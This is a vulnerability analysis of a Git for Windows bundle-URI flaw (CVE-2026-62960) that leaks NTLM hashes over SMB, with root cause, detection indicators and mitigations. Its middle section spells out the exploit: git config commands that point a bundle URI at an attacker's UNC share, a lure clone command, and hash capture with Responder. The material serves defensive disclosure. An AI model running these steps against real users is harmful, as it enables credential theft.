CVE-2026-62960: 
Git vulnerability analysis and mitigation

CVE-2026-62960 is a server-advertised bundle-URI vulnerability in Git for Windows that allows a malicious remote Git server to trigger outbound SMB connections from a victim Windows client, exposing NTLM authentication material. The vulnerability affects all Git for Windows versions prior to 2.55.0.windows.4, and was confirmed present in at least v2.53.0.windows.3 and the current main branch at the time of discovery. It was published on August 21, 2026, with the fix released the same day. The CVSS v3.1 base score is 7.4 (High) (GitHub Advisory, Feedly).

The root cause is an improper trust-boundary enforcement in bundle-uri.c (CWE-610: Externally Controlled Reference to a Resource in Another Sphere; CWE-200: Exposure of Sensitive Information to an Unauthorized Actor). When transfer.bundleuri=true, the functions transport_get_remote_bundle_uri(), fetch_bundle_uri_internal(), and copy_uri_to_file() process server-advertised bundle URIs without restricting them to HTTP(S) schemes. Non-HTTP(S) values — including bare UNC paths like //attacker/share/poc.bundle or file:////attacker/share/poc.bundle — are treated as local filesystem paths (with file:// prefixes stripped), causing copy_file() to open the attacker-supplied path via the Win32 file API, which initiates an outbound SMB connection. The fix, applied in commit a935247, introduces a sanitize_bundle_list() function that subjects advertised URIs to the protocol.*.allow allowlist, rejecting file:// and bare/UNC paths by default (GitHub Advisory, Fix Commit).

A successful attack causes the victim's Windows system to initiate an outbound SMB connection to an attacker-controlled host, which on typical Windows configurations triggers automatic NTLM authentication. This exposes the user's NTLMv2 hash to the attacker; because NTLM hashing is considered weak, the captured hash can potentially be brute-forced offline to recover plaintext credentials. The confidentiality impact is high (credential exposure), while integrity and availability are unaffected. The scope is changed, as the impact extends beyond the Git process itself to the Windows authentication subsystem (GitHub Advisory, Release Notes).

A proof-of-concept (PoC) was included in the original security advisory, demonstrating a working SMB callback via a crafted bare Git repository served over git://. The SSVC assessment from NVD classifies exploitation as poc and not automatable, requiring user interaction (the victim must run git clone or git fetch against a malicious server with transfer.bundleuri=true). The EPSS score is approximately 0.52%, indicating a relatively low but non-negligible probability of exploitation in the wild. No threat actor attribution or CISA KEV catalog listing has been identified at this time (GitHub Advisory, Feedly).

1. Set up attacker-controlled SMB share: The attacker configures a network share (e.g., //attacker-ip/share/) and optionally runs an SMB relay or capture tool (e.g., Responder) to capture incoming NTLM authentication attempts.
2. Create a malicious Git repository: The attacker initializes a bare Git repository and configures it to advertise a bundle URI pointing to the attacker's UNC share:

   git init --bare malicious.git
   git --git-dir=malicious.git config uploadpack.advertisebundleuris true
   git --git-dir=malicious.git config bundle.version 1
   git --git-dir=malicious.git config bundle.mode all
   git --git-dir=malicious.git config bundle.one.uri "//attacker-ip/share/poc.bundle"

3. Serve the repository: The attacker exposes the repository over any supported Git protocol (e.g., git daemon, HTTP, SSH).
4. Lure victim to clone: The attacker tricks a Windows user with transfer.bundleuri=true into cloning the malicious repository:

   git -c transfer.bundleuri=true clone git://attacker-ip/malicious.git victim

5. Capture NTLM material: During the clone, Git's copy_uri_to_file() opens the UNC path via the Win32 API, causing Windows to initiate an SMB connection to the attacker's host and automatically send NTLMv2 authentication material, which the attacker captures for offline cracking or relay attacks (GitHub Advisory).

• Network: Unexpected outbound TCP connections to port 445 (SMB) from a workstation during or immediately after a git clone or git fetch operation; connections to unfamiliar or external IP addresses on port 445.
• Logs: Git output containing warnings such as warning: file at URI '//[IP]/[share]/[file]' is not a bundle or bundle list or warning: skipping bundle URI '[uri]': protocol 'file' is not allowed (the latter only on patched versions); Windows Security Event Log entries (Event ID 4624/4625) showing NTLM authentication attempts to unexpected hosts.
• Process: git.exe spawning network connections to SMB endpoints; netstat showing ESTABLISHED connections from the Git process to port 445 on external or unexpected hosts during a clone operation.
• File System: Presence of temporary files in .git/objects/bundles/ with names like tmp_uri_XXXXXXX that correspond to failed bundle fetch attempts from non-HTTP(S) URIs (GitHub Advisory).

Upgrade Git for Windows to version 2.55.0.windows.4 or later, which enforces the protocol.*.allow allowlist for server-advertised bundle URIs, blocking file:// and UNC paths by default (Release Notes). As an immediate workaround for users who cannot upgrade, set transfer.bundleuri=false (the default) in Git configuration to disable the bundle URI feature entirely: git config --global transfer.bundleuri false. Users who require file-based bundle URIs for trusted local workflows can explicitly re-enable them with protocol.file.allow=always, but should only do so for known-safe repositories. Avoid cloning from untrusted remote servers with transfer.bundleuri=true until patched (GitHub Advisory, Fix Commit).

The vulnerability was reported by researcher 0xmrma and the advisory was published by Johannes Schindelin (dscho), a primary Git for Windows maintainer, who also authored the fix. The release notes explicitly note this is a security fix release and describe the NTLM hash exposure risk, including the potential for offline brute-forcing of captured NTLMv2 hashes. The fix received positive community reactions on GitHub (14 users reacted). The advisory notes this is distinct from two other 2026 NTLM-related Git for Windows advisories (CVE-2025-66413 and CVE-2026-32631), highlighting a pattern of NTLM credential leakage issues in Git for Windows being actively researched and addressed (GitHub Advisory, Release Notes).